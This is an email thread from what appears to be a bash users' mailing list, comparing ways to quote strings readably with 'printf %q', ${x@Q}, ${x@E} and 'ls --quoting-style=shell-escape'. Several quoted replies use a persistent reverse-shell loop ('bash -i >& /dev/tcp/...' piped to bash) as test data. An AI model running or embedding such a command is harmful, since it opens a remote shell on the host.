Re: `printf %q` but more human readable

[Alex fxmbsw7 Ratchev]

about self coding a solution, i started in gawk, but question: do you want
\t and \n be shortened or printed and only \34 codes be placed in $' .. '
otherwise " " otherwise no quotes

On Sun, Mar 14, 2021 at 3:25 PM Alex fxmbsw7 Ratchev <fxmbsw7@gmail.com>
wrote:

> well about ls, it only prints $' or " where needed, other strings like
> 'abc' it prints plainly
>
> On Sun, Mar 14, 2021 at 3:09 PM Peng Yu <pengyu.ut@gmail.com> wrote:
>
>> It is not a valid assumption to assume the input is in filename. Even
>> it were a valid assumption, `ls --quoting-style=shell-escape` is still
>> not robust.
>>
>> $ touch $'\001'; ls --quoting-style=shell-escape
>> ''$'\001'
>> $ printf '%q\n' $'\001'
>> $'\001'
>>
>> On 3/14/21, Alex fxmbsw7 Ratchev <fxmbsw7@gmail.com> wrote:
>> > if your datas were filenames, you could have used ls
>> > --quoting-style=shell-escape
>> > it optionally only quotes em
>> >
>> > On Sun, Mar 14, 2021 at 2:54 PM Peng Yu <pengyu.ut@gmail.com> wrote:
>> >
>> >> > It's just different quoting styles, but I prefer the single-quoted
>> >> > version too.
>> >>
>> >> It is not as simple as that. See below.
>> >>
>> >> > GNU /usr/bin/printf does this
>> >> >
>> >> > $ /bin/printf "$x"
>> >> > while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' |
>> bash;
>> >> > sleep 5; done &
>> >> >
>> >> > And for ${parameter@operator}
>> >> >
>> >> > $ echo "${x@Q}"
>> >> > $'while true; do echo \'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1\' |
>> >> > bash;\nsleep 5; done &'
>> >>
>> >> ${x@Q} is not the most human-readable. For example, the extra quote is
>> >> not necessary in the following case. `printf %q` is even better in
>> >> this case. I think a most human-readable solution for all cases can
>> >> not avoiding testing the content of the string.
>> >>
>> >> $ x=a; echo "${x@Q}"
>> >> 'a'
>> >> $ printf %q a
>> >> a
>> >>
>> >> > $ echo "${x@E}"
>> >> > while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' |
>> bash;
>> >> > sleep 5; done &
>> >>
>> >> ${x@Q} is not good either. It can not deal with non-print characters
>> >> correctly.
>> >>
>> >> $ x=$'a\001'; echo "${x@E}"
>> >> a
>> >>
>> >> >
>> >> > (This confuses me since the manual stated that E produces $'' style
>> >> > escaping and Q produces single quoted escaping when used for an
>> >> > array...)
>> >>
>> >> The above examples should clarify your confusion. My question is about
>> >> ALL cases not just about some special cases.
>> >>
>> >> --
>> >> Regards,
>> >> Peng
>> >>
>> >>
>> >
>>
>>
>> --
>> Regards,
>> Peng
>>
>